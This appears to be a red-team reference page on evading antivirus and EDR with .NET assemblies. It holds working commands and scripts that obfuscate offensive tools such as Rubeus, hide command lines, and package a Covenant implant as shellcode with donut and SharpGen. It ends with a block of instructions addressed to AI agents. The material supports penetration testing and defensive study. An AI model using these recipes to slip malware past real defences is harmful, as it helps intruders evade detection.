# .NET Assembly

## Patch Environment.Exit

* <https://www.mdsec.co.uk/2020/08/massaging-your-clr-preventing-environment-exit-in-in-process-net-assemblies/>
* <https://www.outflank.nl/blog/2024/02/01/unmanaged-dotnet-patching/>
* [https://github.com/kyleavery/inject-assembly/blob/8db977c0fd1da039df920f9dd4840d4a3ec2aa2c/src/scmain.c](https://github.com/kyleavery/inject-assembly/blob/8db977c0fd1da039df920f9dd4840d4a3ec2aa2c/src/scmain.c#L462-L613)

## C# to Unmanaged DLL

* <https://blog.xpnsec.com/rundll32-your-dotnet/>

Creating assembly with DLL exports from C# code:

1. Select your favorite C# offensive tool.
2. Install [DllExport](https://www.nuget.org/packages/DllExport/) package via "Manage NuGet Packages for Solution" in VS.
3. Configure DllExport like on the screenshot below and click "Apply".
4. Agree to reload the solution.
5. Edit the Main function code to work with no arguments passed so that the signature looks like `static void Main()`.
6. Add `[DllExport]` attribute before the Main function.
7. Check "Allow unsafe code" and "Optimize code" boxes in Build tab of the solution.
8. Build the solution as Release x64 DLL assembly.
9. (Optional) Obfuscate the assembly with something like [Confuser](https://github.com/XenocodeRCE/neo-ConfuserEx).

![DllExport Configuration](/files/-Mk-21w_4MMFcj3SWVdx)

The resulting DLL will be placed in `.\bin\x64\Release\x64\` directory.

{% hint style="warning" %}
Author's note: *I’m not sure why it requires so much finessing, but I’m open to any optimizations or explanations if anyone knows. Specifically, only the DLL in the `\x64\` directory will work, for some reason the one that’s under `\Release\` does not contain the entrypoint that should be generated by `[DllExport]`, even though it’s built at the same time as the one in `\x64\`.*
{% endhint %}

## .NET Obfuscators

* <https://github.com/NotPrab/.NET-Obfuscator>
* <https://github.com/Flangvik/ObfuscatedSharpCollection>
* <https://www.r-tec.net/r-tec-blog-net-assembly-obfuscation-for-memory-scanner-evasion.html>
* <https://any.run/cybersecurity-blog/net-malware-obfuscators-analysis-part-one/>

Hide command line by overwriting `args` to read values from a text file:

```csharp
string line = File.ReadLines("cmd.txt").FirstOrDefault();
args = line.Split(' ');
```

### Tools

* <https://github.com/dr4k0nia/XorStringsNET>
* <https://github.com/0xb11a1/yetAnotherObfuscator>

#### Confusers

* <https://github.com/yck1509/ConfuserEx>
* <https://github.com/XenocodeRCE/neo-ConfuserEx>
* <https://mkaring.github.io/ConfuserEx/>
* <https://github.com/mkaring/ConfuserEx>

#### InvisibilityCloak

* <https://github.com/h4wkst3r/InvisibilityCloak>

```
PS > wget https://github.com/h4wkst3r/InvisibilityCloak/raw/main/InvisibilityCloak.py -o InvisibilityCloak.py
PS > git clone https://github.com/GhostPack/Rubeus
PS > python .\InvisibilityCloak.py -d .\Rubeus\ -n (-join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})) -m reverse
PS > cd Rubeus
PS > devenv /build Release .\ChOVuwPZcNQmXtKF.sln
```

{% code title="InvisibilityCloak.ps1" %}

```powershell
$repo = "GhostPack/Rubeus"

$cloak = "C:\Users\user\Desktop\Tools\InvisibilityCloak.py"
$devenv = "C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\devenv.com"

$target = $repo.Split('/')[1]
$obf = -join ((65..90) + (97..122) | Get-Random -Count 16 | % {[char]$_})
git clone "https://github.com/$repo" "C:\Windows\Temp\$target"
python $cloak -d "C:\Windows\Temp\$target" -n $obf -m reverse
& $devenv /build Release "C:\Windows\Temp\$target\$obf.sln"
mv "C:\Windows\Temp\$target\$obf\bin\Release\$obf.exe" "\\vmware-host\Shared Folders\share-host\$obf.exe"
#Remove-Item -Recurse -Force "C:\Windows\Temp\$target"
```

{% endcode %}

## SharpSploit

* <https://github.com/cobbr/SharpSploit>
* <https://github.com/cobbr/SharpSploit/blob/master/SharpSploit/SharpSploit%20-%20Quick%20Command%20Reference.md>

### SharpGen

* <https://github.com/cobbr/SharpGen>
* <https://cobbr.io/SharpGen.html>

#### Execution.ShellCode

```
$ ~/tools/PEzor/deps/donut/donut -i GruntHTTP.exe -o grunt.bin
$ echo -n 'var shellcode = Convert.FromBase64String("' > shellcode.txt
$ echo -n `base64 -w0 grunt.bin` >> shellcode.txt
$ echo '");' >> shellcode.txt
$ echo 'ShellCode.ShellCodeExecute(shellcode);' >> shellcode.txt
$ ~/.dotnet/dotnet bin/Debug/netcoreapp2.1/SharpGen.dll -f payload.exe -s shellcode.txt -c Shell -d net40
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ppn.snovvcra.sh/pentest/infrastructure/ad/av-edr-evasion/dotnet-assembly.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
